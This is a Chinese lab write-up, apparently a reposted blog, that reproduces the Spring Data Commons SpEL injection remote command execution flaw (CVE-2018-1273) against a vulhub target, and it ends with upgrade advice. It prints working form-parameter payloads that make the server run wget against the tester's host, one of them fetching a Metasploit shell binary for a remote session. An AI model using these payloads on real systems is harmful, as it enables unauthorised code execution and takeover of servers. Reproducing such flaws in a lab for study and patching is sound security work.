漏洞复现 | CVE-2018-1273 Spring Data Commons 远程命令执行

作者: 墨阳
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x00 前言

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
受影响版本:
Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5 (Kay SR5)
还有部分更早的版本

0x01 环境

kali:10.0.0.128
使用了vulhub靶场环境:10.0.0.130

在这里插入图片描述

0x02 复现过程

1、kali开启一个简易http服务

在这里插入图片描述

2、构造payload

访问:http://10.0.0.130:8080/users
提交任意信息,抓包:
在这里插入图片描述
payload 1:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget http://10.0.0.128:8000/test.txt")]=chybeta&password=chybeta&repeatedPassword=chybeta

payload 2:

username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('wget http://10.0.0.128:8000/test.txt')")]=asdf

在这里插入图片描述

3、发包,下载文件

在这里插入图片描述
在这里插入图片描述

4、上线msf

生成msf马,开启http服务:
在这里插入图片描述
payload:

username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('wget http://10.0.0.128:8000/shell')")]=asdf

在这里插入图片描述
修改上传的msf马的权限:
在这里插入图片描述
msf开启监听:
在这里插入图片描述
运行msf马
在这里插入图片描述

msf上线成功

0x03 修复建议

2.0.x用户应升级到2.0.6
1.13.x用户应升级到1.13.11
较旧的版本应升级到受支持的分支
解决此问题的版本包括:-Spring Data REST 2.6.11(Ingalls SR11)-Spring Data REST 3.0.6(Kay SR6)-Spring Boot 1.5.11 -Spring Boot 2.0.1

0x04 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_42282189/article/details/120305603